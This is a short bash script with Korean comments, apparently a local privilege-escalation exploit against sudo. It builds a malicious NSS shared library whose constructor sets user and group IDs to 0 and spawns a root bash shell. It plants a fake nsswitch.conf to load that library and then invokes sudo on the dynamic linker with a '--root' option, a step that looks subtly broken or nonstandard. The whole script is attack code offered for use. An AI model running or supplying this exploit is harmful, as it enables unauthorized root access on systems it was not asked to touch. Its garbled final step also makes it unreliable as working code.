#!/usr/bin/env bash

# 임시 작업 디렉터리 생성
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "${STAGE?}" || exit 1

# C 코드 생성
cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

# 가상 루트 디렉터리 구조 준비
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

# 쉐어드 라이브러리 컴파일
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"

# /bin/bash용 동적 링커 경로 자동 탐지
LINKER=$(ldd --verbose /bin/bash \
  | sed -n 's/.*\(\/lib.*ld-linux.*\)\ .*/\1/p')

# 동적 링커에 --root 옵션으로 가상 루트 지정
sudo "${LINKER}" --root="$(pwd)/woot" /bin/bash

# 정리
rm -rf "${STAGE?}"